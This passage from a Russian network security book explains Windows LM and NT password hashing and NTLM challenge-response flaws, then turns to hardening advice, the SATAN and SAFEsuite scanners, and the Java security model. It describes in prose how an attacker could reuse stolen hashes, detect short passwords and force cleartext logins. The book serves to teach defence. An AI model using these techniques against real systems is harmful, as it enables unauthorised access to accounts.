Итак, хэш-функция, разработанная на базе того же самого алгоритма DES, но на 10–15 лет позже функции crypt(), оказывается хуже последней по всем параметрам, а именно:

• по мощности перебора для гарантированного подбора пароля – почти в 1 000 раз;

• по скорости перебора – почти в 15 раз;

• по отсутствию случайности, что приводит к уменьшению требуемой памяти для хэширования каждого пароля, – в 4 096 раз.

Не удивительно, что фирме Microsoft пришлось разрабатывать более криптостойкую функцию (точнее, не изобретать велосипед, который мог оказаться с квадратными колесами, а воспользоваться готовым образцом).

Хэш Windows NT вычисляется следующим образом.

1. Пароль длиной до 128 символов преобразуется в строку в кодировке Unicode, при этом сохраняются разные регистры.

2. Эта строка хэшируется с помощью MD4, что дает в результате 16-байтовое значение хэш-функции.

Хэш Windows NT обладает преимуществом по сравнению с функцией хэша Lan Manager – различаются регистры, пароли могут быть длиннее 14 символов, для хэширования используется весь пароль в целом, а не его части, хотя по-прежнему отсутствует элемент индивидуальности. Таким образом, люди, имеющие одинаковые пароли, всегда будут иметь одинаковые хэш-значения.

Удаленная аутентификация

Механизм удаленной регистрации на сервере (надо отдать должное разработчикам Windows NT) более надежен тем, что ни пароль пользователя, ни его хэш не передаются по сети в открытом виде (по крайней мере, в последних диалектах SMB). Впрочем, это не оригинальная находка Microsoft, а стандартный механизм большинства систем клиент – сервер, если связь между ними осуществляется по небезопасным каналам.

Функционирует механизм удаленной аутентификации, называемый «запрос-отклик», таким образом:

1. Клиент выдает команду на подключение к серверу.

2. Сервер либо возвращает пакет, в котором присутствует флаг, требующий от клиента передавать пароль в открытом виде (то есть сервер не поддерживает последние диалекты SMB), либо возвращает 8-байтовый случайный запрос (chаllenge). Далее рассматривается только последний вариант.

3. Клиент вычисляет LM-хэш введенного пароля, добавляет к нему пять нулей, получая таким образом 21-байтовую строку. Далее он делит ее на три 7-байтовых части, каждая из которых используется как отдельный ключ в алгоритме DES, – на этих ключах независимо три раза зашифровывается полученный запрос, что приводит к появлению 24-разрядного шифрованного значения. Поскольку клиент не знает, значения каких хэш-функций определены для данного пользователя в базе данных SAM на сервере, то он поступает аналогично и с хэш-функцией Windows NT. Таким образом, длина отклика клиента достигает 48 байт.

4. Сервер ищет то значение хэш-функции в своей базе данных SAM, которое присуще данному пользователю, аналогично шифрует запрос с его помощью и сравнивает с нужной половиной полученного отклика. Если значения совпадают, аутентификация считается состоявшейся.

Из сказанного можно сделать следующие выводы:

1. Все-таки есть возможность передачи пароля открытым текстом. Соответственно, используя механизм ложного сервера, можно заставить клиента передавать незашифрованные пароли.

2. Для успеха аутентификации злоумышленнику не нужно знать оригинальный пароль пользователя. Это вполне очевидно, так как сервер также его не знает, а пользуется только хэш-значением. Владея этим значением, злоумышленник может подключаться к серверу.

3. При этом взломщик не получит это хэш-значение, непосредственно перехватив один или более сеансов подключения к серверу, потому что оно используется как ключ шифрования. Итак, самый реальный способ для злоумышленника – извлечение хэша непосредственно из базы данных на сервере.

4. Клиенту приходится передавать два отклика, для обоих хэш-значений. И в этом случае LM-хэш, естественно, оказывается более слабым. В частности, сразу можно выяснить, длиннее ли 7 символов пароль пользователя: если нет, то третий ключ DES будет представлять собой фиксированную константу 04EE0000000000, с помощью которой легко зашифровать запрос и проверить, тот ли отклик был отправлен серверу. Совершенно очевидно, что для подбора LM-хэша взломщику, когда у него есть перехваченные запрос и отклик, потребуется не больше действий, чем для восстановления пароля по хэшу, так как за те же самые 243 операции он легко восстановит и оригинальный пароль, и хэш.

При WWW-доступе к серверу IIS, требующем аутентификации, используется тот же самый механизм «запрос-отклик». Но существует единственное отличие – и запрос, и отклик кодируются для передачи в рамках протокола http с помощью base64, то есть практически передаются так же, как и в локальных сетях, со всеми вытекающими отсюда последствиями. Впрочем, базовая схема аутентификации http является еще более слабой, требуя и имя, и пароль пользователя в открытом виде. Соответствующий запрос может выглядеть примерно так: http://user:password@www.victim.com.

Таким образом, основной проблемой, ослабляющей алгоритмы аутентификации в Windows NT, является передача нестойкого значения LM-хэша даже в сетях, где нет других серверов и клиентов, кроме Windows NT. В частности, пароли любой длины из латинских букв будут вскрыты нарушителем в среднем за (26 + 262 + … 267) / (2 х 190000) = 22 000 секунд, или всего за 6 часов!

Поэтому фирма Microsoft выпустила заплатку (hot-fix), называемую lm-fix (она вошла потом в Service Pack 4), которая может запретить использование LM-хэша, и он не будет передаваться.

К сожалению, недостатки такого решения лежат на поверхности – теряется совместимость с другими ОС. В частности, hot-fix должна устанавливаться и на сервер, и на все клиенты, так как в противном случае, при обращении, например, к закрытой WWW-странице, будет выдаваться сообщение типа: 500 Server Error (-2146893054). Аналогичное сообщение последует и при попытке доступа с клиентов под управлением Windows 95.

Увы, подобное решение проблемы вносит и дополнительные ошибки, что очень наглядно продемонстрировал Service Pack 4: если клиент после установки Service Pack 4 изменит свой пароль при помощи ОС, не поддерживающей NT-хэш (при этом, как объяснялось выше, его значение в базе SAM обнулится), то потом при входе в систему такое нулевое значение будет ошибочно приниматься за отсутствие пароля, при условии, что для аутентификации использовался NT-хэш.

Как защитить свой хост

Узнав такой впечатляющий набор фактов об уязвимости вашей системы, вы, несомненно, зададите себе вопрос: как же обеспечить защиту в сети и возможно ли это? Не будем дискутировать на философскую тему «Почему абсолютная защита невозможна». В любом случае задача каждого администратора безопасности – сделать все, чтобы максимально ее улучшить. Надеемся также, что вы уже прочитали рассуждения в главе 8 по вопросу «А что мне защищать?». Поэтому советуем придерживаться следующих концепций:

1. Актуальность – защищаться надо от реальных атак, а не от фантастических или, наоборот, архаичных времен вируса Морриса.

2. Разумность затрат – поскольку 100-процентной защиты мы все равно не обеспечим, надо найти тот рубеж, за которым затраты на дальнейшее повышение безопасности оказываются выше стоимости той информации, которую может украсть взломщик.

Итак, ниже (табл. 9.2) приводится список очень простых правил и действий (некоторые идеи взяты из [26]) с учетом важности и первоочередности применения.

Таблица 9.2. Административные меры усиления защиты серверов в Internet

Перечисленные меры позволят вам не подпустить к своему хосту до 99 % всех кракеров. Но ненадолго. Для того чтобы поддерживать систему в таком защищенном состоянии, советуем раз в одну-две недели вновь посещать CERT или CIAC. Также не забывайте контролировать наличие вирусов или «троянских» коней. Не менее полезно подписаться на листы рассылки или дайджесты по безопасности, лучшим из которых, на наш взгляд, является BUGTRAQ.

Остальные меры, предусмотренные для отлова последнего процента самых достойных кракеров, являются превентивными, они не направлены конкретно на ту или иную службу. Возможно, они будут сопряжены с более или менее значительной переделкой вашего хоста:

1. Придумайте какую-нибудь собственную изюминку, очень простую (чтобы поставить слишком умных кракеров в тупик), типа переименования какой-нибудь важной команды или сообщения на входе «FSB host. Vvedite vashe imya i zvanie:».

2. Используйте более простые программы – в них меньше ошибок. В UNIX – избавьтесь от sendmail, поставьте другой SMTP-демон, в Windows NT – не стоит для этих же целей использовать монстров типа Microsoft Exchange Server.

3. Выкиньте некоторые малоиспользуемые службы (типа finger, talk, rpc) и ужесточите настройки вашего межсетевого экрана.

4. Поставьте proxy-сервер для дополнительной аутентификации извне, а также для скрытия адресов и топологии внутренней подсети.

5. Перенесите весь сервис, требующий входящих соединений (http, SMTP), на отдельную машину и оставьте ее в открытой сети. Удалите с этой машины всю лишнюю информацию. Все остальные машины спрячьте за межсетевым экраном с полным отключением входящего трафика.

6. Поставьте защищенную версию UNIX или другой операционной системы.

Средства автоматизированного контроля безопасности

Мы уже говорили о пользе средств автоматизированного контроля безопасности отдельного компьютера, а также всей подсети, за которую он отвечает, для системного администратора. Естественно, такие средства появлялись ранее, и чаще других встречаются названия COPS (Computer Oracle and Password System), SATAN (Security Administrator Tool for Analizyng Networks), ISS (Internet Security Scanner). К сожалению, они не лишены недостатков:

1. Системозависимость – обычно рассчитаны на вполне конкретную ОС или даже ее версию.

2. Ненадежность и неадекватность – если эти программы сообщают, что все о\'кей, то совсем не значит, что так оно и есть, и наоборот – некая «уязвимость», с их точки зрения, может оказаться специальным вариантом конфигурации системы.

3. Маленький срок жизни – с момента обнаружения уязвимости до ее искоренения проходит не больше года, и программа устаревает.

4. Неактуальность – с момента выхода программы в свет все новые, и потому самые опасные, уязвимости оказываются неизвестными для нее, и ценность программы быстро сводится к нулю. Этот недостаток является самым серьезным.

5. Возможность использовать средства с прямо противоположными целями – для взлома вашей системы, а не для тестирования на предмет изъянов.

Прослеживается явная аналогия программ с антивирусными сканерами первого поколения – те знали лишь строго определенный набор вирусов, а новые вирусы добавлялись только в следующем выпуске программы. Если посмотреть на возможности современных антивирусных программ – это и оперативное лечение вирусов, и автоматизированное пополнение базы вирусов самим пользователем, и поиск неизвестных вирусов, то можно пожелать, чтобы хороший сканер Internet смог позаимствовать некоторые из них. В первую очередь – пополнять базы новыми уязвимостями. Причем в наши дни сделать это несложно – достаточно лишь скачивать информацию с источников типа CERT или CIAC, занимающихся как раз сбором таких сведений.

Программа SATAN

После общего введения мы решили познакомить читателя с таким нашумевшим средством, как SATAN, которое и до сих пор иногда считается чуть ли ни самой опасной программой из написанных, на что указывает и зловещее название, и возможность влезть в самый защищенный компьютер (рис. 9.6). Насчет названия сразу подчеркнем, что в момент инсталляции с помощью специальной процедуры вы можете поменять его на SANTA (Security Analysis Network Tool for Administrator), а заодно и зловещего сатану на симпатичного Деда Мороза (рис. 9.7). А что касается влезания в компьютер (не любой, конечно) – если подобная программа и имелась бы у хакеров или спецслужб, то она никогда не стала бы свободно распространяться по Internet, как это происходит с SATAN.

Рис. 9.6. Заставка программы SATAN

Рис. 9.7. Заставка программы SANTA

На самом деле SATAN – это добротно сделанная, с современным интерфейсом программа для поиска брешей в вашей подсети (Intranet – как модно говорить в последнее время), написанная на машинно-независимых языках Perl и С, поэтому она в некоторой мере преодолевает первый из вышеописанных недостатков. SATAN даже допускает возможность для расширения и вставки новых модулей. К сожалению, во всем остальном ей присущи указанные недостатки, в том числе и самый главный – она уже устарела и не может в настоящий момент серьезно использоваться ни администраторами, ни хакерами. Поэтому непонятен мистический страх перед всемогуществом SATAN. Авторы, готовя материал для книги, сами столкнулись с таким отношением и были немало этим удивлены. Однако на момент выхода (1995 г.) программа была достаточно актуальной, содержала в себе поиск большинства уязвимостей, описанных в разделе «Типичные атаки». В частности, последняя (во всех смыслах) ее версия ищет уязвимости в следующих службах:

• FTP и TFTP;

• NFS и NIS;

• rexd;

• sendmail;

• r-службах;

• X-Window.

Существуют также и дополнения к SATAN, в которые включены другие уязвимости.

Для поиска уязвимостей программа сначала различными способами собирает информацию о вашей системе, причем уровень проникновения конфигурируется пользователем и может быть легким, нормальным или жестким (рис. 9.8).

Рис. 9.8. Настройки программы SATAN

Легкий уровень, по утверждению авторов программы, не может быть обнаружен атакуемой стороной (по крайней мере, такая активность программы не принимается за враждебную) и включает в себя DNS-запросы для выяснения версии операционной системы и другой подобной информации, которую можно легально получить с использованием DNS. Далее она посылает запрос на службу RPC (remote procedure call), чтобы выяснить, какие rpc-сервисы работают.

Нормальный уровень разведки включает в себя все запросы легкого уровня, а также дополняет их посылкой запросов (сканированием) некоторых строго определенных портов, таких как FTP, telnet, SMTP, NNTP, UUCP и др., для определения установленных служб.

Наконец, жесткий уровень включает в себя предыдущие уровни, а также дополняется полным сканированием всех возможных UDP– и TCP-портов для обнаружения нестандартных служб или служб на нестандартных портах. Авторы программы предостерегают, что такое сканирование может быть легко зафиксировано даже без специальных программ (например, на консоли могут появляться сообщения от вашего межсетевого экрана).

Другим важным параметром, задаваемым при настройке SATAN, является глубина просмотра подсетей (proximity): 0 означает только один хост, 1 – подсеть, в которую он входит, 2 – все подсети, в которые входит подсеть данного хоста, и т. д. Авторы средства подчеркивают, что ни при каких обстоятельствах это число не должно быть более 2, иначе SATAN выйдет из-под контроля и просканирует слишком много внешних подсетей.

Собственно ничем более страшным, кроме как сканированием портов и обнаружением работающих служб и их конфигурации, SATAN не занимается. При этом, если находятся потенциальные уязвимости, она сообщает об этом. Как пишут сами авторы программы, фаза проникновения в удаленную систему не была реализована.

SATAN использует очень современный интерфейс – все сообщения программы оформляются в виде HTML-страниц, поэтому работа с ней мало чем отличается от плавания (surf) по Internet в любимом браузере (SATAN поддерживает любой из них, будь то lynx, Mosaic или Netscape). Пользователь может отсортировать найденные уязвимости (по типу, серьезности и т. п.) и тут же получить развернутую информацию по каждой из них. Для поддержки браузеров в SATAN входит собственный http-сервер, выполняющий ограниченное число запросов, а связь с ним осуществляется при помощи случайного 32-битного числа (magic cookie), которое выполняет дополнительную аутентификацию http-клиента. Иначе говоря, оно служит для предотвращения перехвата конфиденциальной информации браузером, отличным от запущенного самой SATAN, а также против любого взаимодействия с собственным http-сервером SATAN. Любопытно, что версии до 1.1.1 в этой схеме аутентификации тоже содержали ошибку, которая даже попала в один из бюллетеней CERT.

Итак, типичный сценарий работы с SATAN заключается в следующем:

1. Настроить желаемые параметры, в том числе глубину сканирования.

2. Задать адрес цели и уровень сканирования.

3. Просмотреть полученные результаты и получить по ним более подробную информацию.

4. Устранить найденные уязвимости.

Администратору безопасности рекомендуется просканировать все свои хосты, а также все доверенные хосты, обязательно спросив на это разрешение у их администраторов. Несмотря на то что SATAN устарела, выполнив это, вы сможете быстро получить список используемых сетевых служб и их версий и проверить, нет ли среди них уязвимых, воспользовавшись материалами CERT или CIAC.

Семейство программ SAFEsuite

В последние годы заслуженной популярностью пользуются программные средства, предлагаемые компанией Internet Security Systems (ISS, http://www.iss.net). Они имеют достаточно долгую историю, в частности программа Internet Security Scanner (тоже ISS) известна с 1992 года, когда она была еще условно бесплатной и работала только под UNIX.

С тех пор многое изменилось. В настоящее время компания ISS производит целое семейство продуктов автоматизированного контроля безопасности и обнаружения атак SAFEsuite. Туда входит сильно измененная Internet Scanner (по существу, это уже другая программа), анализирующая систему снаружи; System Scanner, анализирующая ее изнутри; и RealSecure, обнаруживающая и отражающая удаленные атаки. Безусловным достоинством этих программ является то, что они регулярно обновляются, причем в них добавляется не только описание новых уязвимостей и подвидов атак, но и новые механизмы их обнаружения и отражения. Именно мощная поддержка семейства SAFESuite и выводит его в лидеры – иначе через полгода эти программы были бы никому не нужны, как это случилось со многими разработками конкурентов.

Значительные вложения оправдывают и цену – эти программы далеко не бесплатны, в отличие от SATAN, и стоят сотни долларов, что в данном случае неплохо, так как несколько ограничит число потенциальных кракеров. Для запуска программ нужен ключ, пересылаемый вам при покупке пакета, а в оценочную (evaluation) версию обычно включен ключ, который разрешит вам сканирование только своего собственного хоста.

Это семейство реализовано под 10 платформ:

• Windows NT;

• Windows 95;

• Windows 98;

• Windows 2000;

• HP/UX;

• AIX;

• Linux;

• SunOS;

• Solaris;

• IRIX.

Любая из реализаций знает уязвимости и других платформ.

Система Internet Scanner, хотя должна запускаться на одной из вышеперечисленных платформ (за исключением Windows 9х и IRIX), может быть использована для анализа защищенности любых систем, основанных на стеке протоколов TCP/IP.

Функционально Internet Scanner 5.6 (последняя версия на начало 1999 года) состоит из трех частей: сканер межсетевого экрана (Firewall Scanner), Web-сканер (Web Security Scanner) и сканер Intranet (Intranet Scanner). При этом, как и в SATAN, есть три стандартных уровня сканирования – легкий, нормальный и жесткий, но пользователь может сам настроить те уязвимости, которые войдут в каждый уровень сканирования (рис. 9.9). К тому же он имеет широкие возможности по редактированию следующих классов уязвимостей и проверок:

Рис. 9.9. Рабочий режим программы internet Scanner

• наличие пользователей/паролей по умолчанию и проверка на тривиальность паролей в FTP, POP3, telnet, rsh, rexec;

• проверка многих уязвимых демонов, от UUCP до httpd;

• проверки на подверженность атакам в обслуживании, от различных штормов до плохих пакетов, а также ICMP Redirect;

• проверки NFS и X-Windows;

• проверки на уязвимость служб, использующих RPC, в том числе NIS, pcnfsd и др.;

• отдельно вынесены проверки в Sendmail/FTP – от команды «debug» до современных уязвимостей;

• наличие разделяемых ресурсов Windows и тривиальность их паролей;

• надежность паролей пользователей Windows NT, а также установленной политики использования паролей и обнаружения нарушителей;

• различные настройки реестра Windows NT;

• настройки системы аудита Windows NT;

• проверки WWW-сервера, в том числе возможность задания URL, содержащего точки и доступности исходных текстов ASP-файлов;

• настройки межсетевых экранов и возможность входа на них (например, Cisco, CheckPoint, Raptor);

• установки proxy– и DNS-серверов;

• IP Spoofing, включая возможность предсказания TCP-последовательности и атак на r-службы.

Это единственная система такого класса, получившая в 1998 году сертификат Государственной технической комиссии при Президенте РФ № 195 от 02.09.98.

В отличие от системы Internet Scanner, рассматривающей хосты на уровне сетевых сервисов, System Scanner проводит анализ на уровне операционной системы, что позволяет ей протестировать гораздо больше потенциальных уязвимостей типа локальных переполнений буфера, неверных прав на файлы или каталоги и т. п. Поэтому, несмотря на возможность некоторого дублирования информации в создаваемых отчетах, этот продукт дополняет Internet Scanner. System Scanner, помимо UNIX и Windows NT, поддерживает также проверку ОС Windows 95/98.

Сетевой монитор RealSecure

Наконец, последний и самый быстроразвивающийся продукт – сетевой монитор безопасности RealSecure 3.0 (рис. 9.10). Первоначально он мог только обнаруживать и по факту обнаружения останавливать удаленные атаки. В последних версиях, благодаря возможности управления межсетевым экраном и маршрутизатором, он может также и предотвращать их, динамически меняя правила фильтрации на межсетевом экране или списке контроля доступа (ACL) маршрутизатора. Монитор ориентирован на защиту как целого сегмента сети, так и конкретного узла. Для обнаружения атак он использует так называемые сигнатуры, чем еще раз подтверждается сходство подобных продуктов с антивирусными сканерами. В базе данных RealSecure есть следующие классы сигнатур удаленных атак (рис. 9.11):

Рис. 9.10. Сетевой монитор RealSecure

Рис. 9.11. Детализация события в RealSecure

• отказ в обслуживании (типа Land, Smurf, OOB – см. главу 4);

• попытки несанкционированного, доступ к ASP-файлам, различные переполнения буфера с возможностью исполнения кода);

• подготовка к атакам (различные способы сканирования портов, команда «expn» в SMTP и др.);

• подозрительная активность (в том числе ARP-запросы, удаленный доступ к реестру);

• подозрительные команды на уровне протоколов (передача паролей в разных службах, передача cookies, анонимное подключение к ресурсам).

На сегодняшний день, по мнению многих экспертов, продукты семейства SAFEsuite являются лидерами на рынке.

Глава 10 Атака через WWW

Мы – работники КОМКОНа-2. Нам разрешается слыть невеждами, мистиками, суеверными дураками. Нам одно не разрешается: недооценить опасность. И если в нашем доме вдруг завоняло серой, мы просто обязаны предположить, что где-то рядом объявился черт с рогами, и принять соответствующие меры вплоть до организации производства святой воды в промышленных масштабах.
А. Стругацкий, Б. Стругацкий. Волны гасят ветер

Вопросы атаки через WWW мы решили рассмотреть в отдельной главе по нескольким причинам. В настоящее время World Wide Web – пожалуй, самая популярная служба Internet, то, с чем в первую очередь сталкивается большинство людей, подключающихся к Сети. Атака через Web является едва ли не самым частым способом взлома хостов и самым наглядным проявлением кракерства.

Атака на клиента

Далеко не все пользователи Internet осознают, что, подключившись к Сети, они не только получают доступ ко всему информационному богатству, но и открывают свой компьютер для доступа извне, а следовательно, подвергают его угрозам, характерным для хостов Сети: угрозе раскрытия, нарушения целостности системы и отказа в обслуживании. Здесь также появляется и четвертый тип атаки, который можно с некоторой натяжкой рассматривать как частный случай отказа в обслуживании с точки зрения системы человек – компьютер, – атака на самого пользователя, выражающаяся в создании условий, неблагоприятных для работы (раздражающие звуки, моргание экрана и т. п.).

Безопасность браузеров

Популярные браузеры в своем развитии уже вышли далеко за рамки простых средств отображения гипертекстовых документов. HTML (HyperText Markup Language – язык разметки гипертекстовых документов) изначально был ориентирован исключительно на отображение структурированного текста. Имелась также возможность включить в документ отдельные управляющие элементы для передачи информации на сервер, который после этого мог вернуть клиенту результаты обработки, то есть чисто клиент-серверное решение. Этим и исчерпывались интерактивные возможности Web. По мере развития Сети выяснилось, что ее выразительных средств становится недостаточно для удовлетворения растущих запросов пользователей, и HTML стал включать в себя средства для работы с таблицами, графикой, звуком.

Кроме того, не все устраивало и разработчиков Web-приложений – иногда им хотелось бы иметь дело с более интеллектуальным клиентом, способным не только передавать на сервер заполненную форму. Возникла потребность во вспомогательных приложениях клиентской стороны. При разработке этих приложений немедленно всплывают многочисленные проблемы, и безопасность здесь стоит далеко не на последнем месте. Достаточно сказать, что многие прорехи в системе безопасности браузеров, обнаруженные в последнее время, связаны именно с элементами, расширяющими функциональность клиентов.

Наибольшую популярность завоевали следующие подходы к реализации вспомогательных приложений для клиентской стороны:

• подключаемые модули (plug-ins);

• элементы ActiveX;

• средства подготовки сценариев JavaScript, VBScript, Dynamic HTML;

• приложения Java.

Рассмотрим их подробнее.

Использование подключаемых модулей получило в свое время широкое распространение в связи с популярностью браузера Netscape Navigator, предоставляющего такую возможность. С точки зрения безопасности этот подход не выдерживает никакой критики: не обеспечивается ни защита от сбоев, ни защита от злонамеренных действий, предпринимаемых модулем, который имеет полный доступ ко всем ресурсам системы пользователя. Все строится исключительно на доверии к автору модуля.

Управляющие элементы ActiveX – решение компании Microsoft, основанное на вездесущей технологии COM (Component Object Model – модель компонентных объектов), перенесенной на этот раз в Internet. Проблема безопасности решается с помощью введения института сертификатов – объекты ActiveX подписываются цифровой подписью автора, заверенной независимой организацией (например, VeriSign Inc.). Таким образом, работа с ActiveX отличается от работы с подключаемыми модулями Netscape только тем, что доверие к автору управляющего элемента может быть подкреплено авторитетом солидной организации. В то же время эта подпись гарантирует лишь возможность определения авторства объекта, а вовсе не его благонадежности.

При загрузке объекта ActiveX поведение браузера зависит от настроек его системы безопасности – как подписанные, так и неподписанные (либо заверенные неизвестной организацией) объекты могут быть либо автоматически загружены или отвергнуты, либо предъявлены пользователю, с тем чтобы дальнейшее решение принимал он. В Internet Explorer также можно задать разные настройки для различных зон безопасности – для локальной сети, Internet, отдельных подозрительных хостов, и наоборот, достойных особого доверия.

JavaScript, VBScript и т. п. представляют собой упрощенные языки подготовки сценариев, код которых встраивается непосредственно в html-файл и выполняется браузером. Они непригодны для реализации серьезных приложений, в них отсутствуют средства для работы с файлами, сетевого взаимодействия и т. д. Но они широко используются во вспомогательных целях, в качестве средства первоначальной обработки результатов, для оформления, «оживления» html-документов и т. д. Казалось бы, что ограничения, присущие этим языкам, делают их абсолютно безопасными, в действительности же львиная доля ошибок в браузерах связана именно с реализацией этих простейших средств разработки.

Безопасность Java-приложений

Java – язык, разработанный Sun Microsystems изначально для приложений бытовой электроники и позднее перенесенный в Internet, что стало для него вторым рождением. Различают обычные Java-приложения и апплеты, предназначенные для загрузки по сети и выполнения в окне браузера.

Вопросы безопасности Java-апплетов заслуживают того, чтобы о них говорить отдельно, поскольку это единственное распространенное средство разработки клиентских приложений, в котором решение проблемы безопасности предлагается уже на уровне архитектуры.

Основным достоинством Java-приложений является независимость от клиентской платформы. В отличие от традиционных приложений, транслирующихся в исполняемые коды процессора, Java-приложения транслируются в так называемый байт-код, интерпретируемый в дальнейшем виртуальной Java-машиной. При этом байт-код независим от платформы, на которой он в дальнейшем будет выполняться, – достаточно, чтобы для этой платформы существовала Java-машина. Поскольку большинство основных функций реализовано на уровне виртуальной Java-машины, это приводит к существенному уменьшению размеров байт-кода, что является как достоинством, так и недостатком Java-приложений. Так как байт-код интерпретируется виртуальной машиной, производительность Java-приложений уступает производительности традиционных откомпилированных программ. Частично с этим удается бороться, применяя компиляторы времени исполнения (JIT – just in time compilers), осуществляющие компиляцию приложения при его загрузке в «родной» для данного процессора код. Также возможен вызов функций, реализованных на других языках программирования (С, С++) и откомпилированных для данной платформы, – так называемый native code (родной код). Он применяется при реализации наиболее критичных ко времени исполнения фрагментов кода.

Другим достоинством Java-приложений является защищенность. Во-первых, сам язык способствует написанию более надежных и устойчивых к сбоям программ. Помимо строгой типизации, управления доступом, работы с исключениями, знакомых программистам и по С++, в Java добавлена автоматическая «сборка мусора» (освобождение неиспользуемой памяти), проверка на выход за границы массива, возможность указать, что данный метод или объект не может быть изменен или переопределен. В языке нет указателей и переопределенных операторов.

Все эти нововведения помогают создавать более безопасный код. Рассмотрим теперь особенности Java, вынуждающие писать безопасный код.

По мере развития Java развивалась и система безопасности. В JDK 1.0 (Java Development Kit) основу системы безопасности составляли три компонента – Verifier (верификатор), ClassLoader (загрузчик классов) и SecurityManager (менеджер безопасности). Эта модель известна под названием sandbox (песочница), в ней выполняются Java-приложения, загруженные из сети (рис. 10.1).

Рис. 10.1. Модель безопасности JDK 1.0

Для полноценного функционирования модели безопасности каждый ее компонент должен работать безошибочно, поскольку только четкая совместная работа компонентов обеспечивает контроль над приложением во время загрузки и исполнения кода.

Первый рубеж обороны – верификатор, проверяющий загружаемый байт-код на корректность, так как у нас нет никакой гарантии, что загружаемый код был получен в результате работы компилятора Java, а не подправлен вручную или не сгенерирован специальным «враждебным» компилятором. После того как код прошел верификацию, гарантируется, что файл класса имеет корректный формат, параметры всех операций имеют правильный тип, в коде не происходит некорректных преобразований типов (например, целого числа в указатель), нет нарушений доступа и т. п. Таким образом, проверяется все, что только можно проверить до начала исполнения программы. Верификатор встроен в виртуальную машину и недоступен из Java-программы.

Загрузчики классов определяют, когда и каким образом классы могут быть добавлены в работающую систему. Частью их работы является защита важных составляющих системы, например запрет на загрузку поддельного менеджера безопасности. Они выполняют две основные функции – собственно загрузку байт-кода (с локального диска, по сети, из области памяти и т. д.), определение namespaces (пространства имен) для различных классов и способов их взаимодействия (отделяя, к примеру, локальные классы от загруженных по сети).

Есть два вида загрузчиков – primordial (первичный) и Class Loader Object (реализованный в виде объекта). Первичный существует в единственном экземпляре и является составной частью виртуальной машины. Он занимается загрузкой доверенных классов (обычно находящихся на локальном диске). Загрузчик второго типа представляет собой экземпляр обычного Java-класса, унаследованного от абстрактного класса java.lang.ClassLoader. С его помощью можно осуществить загрузку класса по сети либо динамическое конструирование класса приложением. Метод defineClass преобразует массив байтов в экземпляр класса Class, а экземпляры нового класса создаются с помощью метода newInstance класса Class. Если метод созданного класса ссылается на другие классы, виртуальная машина вызывает метод loadClass его загрузчика, передавая ему имя запрашиваемого класса. При создании экземпляра класса или вызове любого из его методов потребуется также загрузка его предка и других используемых им классов, за это отвечает функция resolveClass.

Примерная реализация класса NetworkClassLoader может выглядеть следующим образом:

class NetworkClassLoader

{

String host;

int port;

Hashtable cache = new Hashtable();

NetworkClassLoader(String aHost, int aPort)

{

host = aHost;

port = aPort;

}

private byte loadClassData(String name)[]

{

// собственно загрузка класса

. . .

}

public synchronized Class loadClass(String name, boolean resolve)

{

Class c = cache.get(name);

// Хэш-таблица используется для исключения

if (c == null)

// повторной загрузки класса

{

// и формирования пространства имен

byte data[] = loadClassData(name);

c = defineClass(data, 0, data.length);

cache.put(name, c);

}

if (resolve)

resolveClass(c);

return c;

}

ClassLoader loader = new NetworkClassLoader(host, port);

Object main = loader.loadClass("Main", true).newInstance();

На самом деле загрузчик сначала должен обратиться к пространству имен первичного загрузчика и затем, лишь не обнаружив там запрашиваемого класса, продолжить поиск по пространству имен ссылающегося класса, чтобы предотвратить подделку встроенных классов. Причем загрузчик работает совместно с менеджером безопасности, определяющим, можно ли загружать данный класс. Весь алгоритм действий загрузчика обычно выглядит следующим образом:

1. Определить, не был ли загружен этот класс раньше, и, если да, вернуть его.

2. Проконсультироваться с первичным загрузчиком на предмет существования внутреннего класса с этим именем.

3. Запросить у менеджера безопасности разрешение на загрузку данного класса.

4. Считать файл класса в виде массива байтов – по сети, с диска и т. п.

5. Создать экземпляр класса Class.

6. Загрузить используемые классы.

7. Передать класс верификатору на проверку.

Загрузчик является существенным элементом модели безопасности, поэтому писать загрузчики следует особо осторожно – малейшая ошибка может привести к полному краху всей системы безопасности. В нормальной ситуации апплеты не имеют возможности устанавливать свои загрузчики.

Класс SecurityManager отвечает за политику безопасности приложения. Он позволяет приложению перед выполнением потенциально опасной операции выяснить, выполняется ли она классом, загруженным первичным загрузчиком, либо с помощью некоторого ClassLoader (к последнему, особенно при загрузке из сети, доверия должно быть гораздо меньше). Далее менеджер безопасности может определить, разрешить ли эту операцию или наложить на нее вето. Класс SecurityManager выявляет ряд методов, начинающихся со слова «check» (checkDelete, checkExec, checkConnect и т. п.), которые вызываются всеми методами стандартной библиотеки, выполняющими потенциально опасные действия (работа с файлами, сетевыми соединениями и т. п.). Выглядит это обычно следующим образом:

SecurityManager security = System.getSecurityManager();

if (security != null)

{

security.checkXXX(argument, . . . );

}

При разрешении операции функция check просто возвращает управление, при запрещении – возбуждает исключение SecurityException. Реализация по умолчанию для любого метода check* предполагает, что вызываемый метод не имеет права на выполнение данной операции. В обязанности менеджера безопасности, работающего с апплетами, входит защита от загрузки новых загрузчиков классов, защита потоков и групп потоков друг от друга, контроль за обращением к системным ресурсам, к ресурсам виртуальной машины, к сетевым соединениям и т. п.

Текущий менеджер безопасности устанавливается с помощью функции System.setSecurityManager, причем, если менеджер безопасности уже был установлен, эта функция также вызывает SecurityException.

В JDK 1.1 система безопасности получила дальнейшее развитие (рис. 10.2). Принципиально ничего не изменилось, но была добавлена возможность цифровой подписи классов – аналог сертификатов в ActiveX. Теперь можно решить, заслуживает ли подписанный удаленный код полного доверия, и не накладывать на него стандартные ограничения.

Рис. 10.2. Модель безопасности JDK 1.1

Побочным эффектом введения этого механизма стало появление в составе стандартной библиотеки Java криптографических функций – Crypto API.

Модель безопасности JDK 1.1 отличалась черно-белым взглядом на мир – мы либо полностью доверяем загруженному коду, либо нет. В Java 2 (JDK 1.2), вышедшей в декабре 1998, была представлена новая гибкая модель безопасности, основанная на привилегиях и правах доступа (рис. 10.3).

Рис. 10.3. Модель безопасности JDK 1.2

Дополнительно к существующим классам в Java 2 добавились:

• новый загрузчик классов java.security.SecureClassLoader;

• класс java.security.Permission, наследники которого используются для определения прав доступа к различным ресурсам, и класс java.security.PermissionCollection, позволяющий группировать права доступа. За доступ к файлам отвечает java.io.FilePermission, к сети – java.net.SocketPermission, к графическим ресурсам – java.awt.AWTPermission и т. д.;

• класс java.security.AccessController, используемый для контроля доступа FilePermission p = new FilePermission("/tmp/junk", "read"), и AccessController.checkPermission(p);

• класс java.security.ProtectionDomain, позволяющий объединить классы, которым предоставляются одинаковые права доступа;

